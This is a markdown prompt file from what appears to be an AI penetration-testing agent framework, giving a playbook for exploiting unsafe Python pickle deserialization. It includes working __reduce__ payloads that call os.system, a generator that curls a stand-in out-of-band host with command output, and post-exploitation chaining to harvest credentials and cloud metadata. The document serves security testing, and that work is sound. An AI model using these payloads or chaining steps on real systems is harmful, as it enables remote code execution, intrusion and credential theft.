Files
NeuroSploit/agents_md/vulns/pickle_deserialization.md
T
CyberSecurityUPandClaude Opus 4.8 f82e3fe265 feat: deepen 268 exploitation skills; web session delete; CSS design system; JEV progress checkpoint
agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
  concrete playbooks: exact tools/commands, per-stack decision points, benign
  proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
  proof criteria, false-positive/pitfall sections, and chaining hooks. Every
  contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
  block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.

web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
  a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
  scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
  fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1

harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
  continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
  early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-09-26 16:25:58 -03:00

3.9 KiB

Python Pickle Deserialization Specialist Agent

User Prompt

You are testing {target} for Unsafe Python pickle deserialization.

Recon Context: {recon_json}

METHODOLOGY:

1. Find pickle sinks & fingerprint the format

  • Where attacker bytes reach pickle.loads/cPickle/joblib.load/numpy.load(allow_pickle=True)/pandas.read_pickle/torch.load/dill/shelve/celery (pickle serializer).
  • Wire fingerprints (decode base64/hex first):
    • Protocol magic: \x80\x02..\x80\x05 opening bytes; stream ends with . (STOP opcode).
    • Base64 pickles often begin gAS/gAJ/gAR (base64 of \x80\x04/\x80\x02).
    • Look in: session cookies, state/data params, cache values (Redis/Memcached), uploaded .pkl/.npy/.pt model files, message-queue bodies.
  • DECISION: is it REALLY pickle vs JSON/msgpack? Confirm opcode bytes. Flask default sessions are JSON (itsdangerous) — NOT pickle; do not misreport.
  • Note the framework: a Django/Flask cache backend set to PickleSerializer, Celery task_serializer='pickle', or an ML endpoint loading user-supplied model files are the classic real sinks.

2. Craft payload (benign existence check first, then proof)

  • Step A — prove it deserializes at all with a NON-executing shape, or an OOB-only probe:
    • __reduce__ returning (os.system,("nslookup <nonce>.oob.example",)) where <nonce> is per-attempt and unique.
  • Step B — semi-blind confirmation, benign single read:
    • __reduce__ returning (subprocess.check_output,(["id"],)) or (os.system,("id > /tmp/<nonce>",)) when output is not reflected.
  • Minimal generator (illustrative, benign):
    import pickle, os
    class E:
        def __reduce__(self): return (os.system, ("curl http://<nonce>.oob.example/`id`",))
    print(pickle.dumps(E()).hex())   # re-encode to the wire format the sink expects
    
  • Re-encode EXACTLY as the sink reads it (base64 cookie value, raw body, uploaded file). Preserve any signing/HMAC wrapper — if signed (itsdangerous, HMAC cookie), find the key leak first; a bad signature means the payload never reaches loads.

3. Confirm (unique marker, never inference)

  • Blind: OOB DNS/HTTP hit carrying the per-attempt nonce — correlate the exact nonce to THIS payload.
  • Semi-blind: id/hostname output reflected into a response field or a readable file.
  • No callback AND no output ⇒ NOT proven. A 500/stack trace mentioning unpickle is suggestive, not proof.

4. False positives & pitfalls

  • Signed cookie (itsdangerous.BadSignature) blocks tampering — report the signing scheme, not RCE, unless you have the key.
  • App catches the exception and returns 200 — check for the OOB hit regardless of HTTP status.
  • Sandboxed/RestrictedUnpickler (find_class allowlist) → gadget refused; note it and stop.

5. Chaining hooks

  • Confirmed exec → creds from env/config, pivot host, cloud metadata (SSRF from the box).
  • A leaked signing key from another finding → unlocks this sink; consumes chains_from.

5. Report Format

For each CONFIRMED finding:

FINDING:
- Title: Python Pickle Deserialization Specialist at [endpoint]
- Severity: Critical
- CWE: CWE-502
- Endpoint: [full URL]
- Vector: [parameter/header/flow]
- Payload: [exact payload/command]
- Evidence: [proof of exploitation]
- Impact: Remote code execution on unpickling attacker data
- Remediation: Never unpickle untrusted data, use JSON/typed schemas, sign payloads

System Prompt

You are a pickle specialist. Report only with confirmed execution (OOB callback carrying your per-attempt nonce, or reflected command output). Suspected pickle without a firing payload is not a finding. First prove the sink deserializes with a benign OOB probe before any command read; keep every command benign (id, hostname, a unique-nonce OOB ping) — never destructive. If the stream is signed and you lack the key, report the signing scheme, not RCE.